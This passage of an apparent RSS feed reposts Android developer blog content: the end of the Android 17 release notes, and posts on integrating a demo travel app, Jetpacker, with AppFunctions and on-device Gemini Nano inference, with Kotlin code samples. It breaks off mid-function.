Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet


class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

  • Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
  • Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
  • FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
  • Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
  • Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

  • R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.




The R8 Configuration Analyzer
  • LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
  • ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
  • On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.
val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

  • System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
  • Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
  • System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
  • EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.
val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}










Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

  • Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
  • Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.


















Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

  • Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
  • RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
  • Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
  • Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
  • Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
  • Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
  • Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

  • Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
  • Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.



For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.



]]> <![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]> https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/ https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/ Sat, 25 Jul 2026 10:15:27 +0200 🤖 Android Tipps tsecurity.de

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations



Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.



Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.



Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database  using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.







Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List<String>,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List<TripSerializable> {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice: 

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0
]]> <![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]> https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/ https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/ Sat, 25 Jul 2026 10:15:26 +0200 🤖 Android Tipps tsecurity.de
Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer Relations


Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  • Execution location: Where does your model run? On device, in the cloud, or both?
  • Complexity: How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?
  • In-app or Android System: Should your feature be built into your Android app or does it fit better as an Android system integration?

In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a personalized, intelligent, and agentic experience.

Jetpacker: a demo travel app

Jetpacker is a technical showcase app that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.

And best of all? It's fully open source!

Today we are publishing a series of technical blog posts diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.

On-device intelligence

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

Using an on-device model comes with no additional cloud inference costs, means you don't have to worry about internet connectivity, and lets users be confident that private information will be processed locally, on the device, without any of their data being sent to the cloud.

In Jetpacker, we chose on-device inference for three of our features:

  • The trip overview feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the ML Kit GenAI APIs to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.
  • The expense tracker automatically extracts structured data from receipt images to help users track their travel spending. It uses the multimodal capabilities of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.
  • The audio diary records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the ML Kit Speech Recognition and GenAI Prompt APIs. We chose an on-device solution for privacy and connectivity reasons.

Cloud & hybrid inference













Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.

Sometimes your use-case requires AI models with greater world knowledge or a much larger context window and with greater ability in handling complex tasks. In that case, we can switch from running an on-device model to using a cloud model instead.

Or, if you want to get the best of both worlds, you can use hybrid inference to dynamically choose either a cloud or on-device model at runtime. This allows us to lower costs by moving inference to the device when it is available, but at the same time support all Android devices running the app.

In Jetpacker, we implemented several features using cloud or hybrid inference:

  • The place Q&A feature answers user questions about specific locations by grounding responses in real-world data. It uses Firebase AI Logic integrated with Google Maps and web context. Using a cloud model is necessary here for its greater world knowledge.
  • The review drafting feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new Hybrid inference API. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.
  • The automatic chat translation dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.

System integration

While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the AppFunctions API to integrate with system-level intelligence.

In-app agentic workflows (coming soon!)

The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.

Agenticness introduces a higher level of autonomy, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to reason, use tools, and adapt its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.

For Jetpacker we added a booking assistant that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using A2UI and ADK running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.

Learn more

Check out the other parts of this blog post series:

Part 1 (this post!): Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

]]> <![CDATA[Build intelligent Android apps: On-device inference]]> https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/ https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/ Sat, 25 Jul 2026 10:15:25 +0200 🤖 Android Tipps tsecurity.de
Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations



Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jetpacker, the demo app we'll use throughout this series.

In this blog post, we will share how you can use Gemini Nano through ML Kit’s Prompt API to build intelligent on-device features.

Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:

  • User data can be processed locally on the device, preserving user privacy
  • Functionality of the model is reliable even with spotty or no internet connection
  • No additional cloud inference cost, since everything runs on the user’s hardware

With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

High quality tailored summarization of short texts

The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘Get ready for your trip’ section at the top.

The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.

By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:

  • Performance and quality: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.
  • Scalability: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.
  • Low latency and reliability: On-device inference guarantees low latency, providing a reliable experience even when users are offline.

To build with on-device, we use Gemini Nano, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model, and is further optimized for maximum battery and performance efficiency.

Using ML Kit’s Prompt API, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")

Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the developer preview option for AICore, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt here.

The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.

Local processing for sensitive user input

Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.


Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.

Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.

In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.

For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use ML Kit’s Structured Output API to seamlessly output a Kotlin data object that we define.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response

Multimodal input

Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using ML Kit’s Speech Recognition API, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.

The Roman holiday itinerary shows voice note extracts.

The ML Kit GenAI Speech Recognition API allows you to transcribe audio content to text fully on-device using two distinct modes. Basic mode uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. Advanced mode uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.

For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response ->
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -> {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -> {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List) {
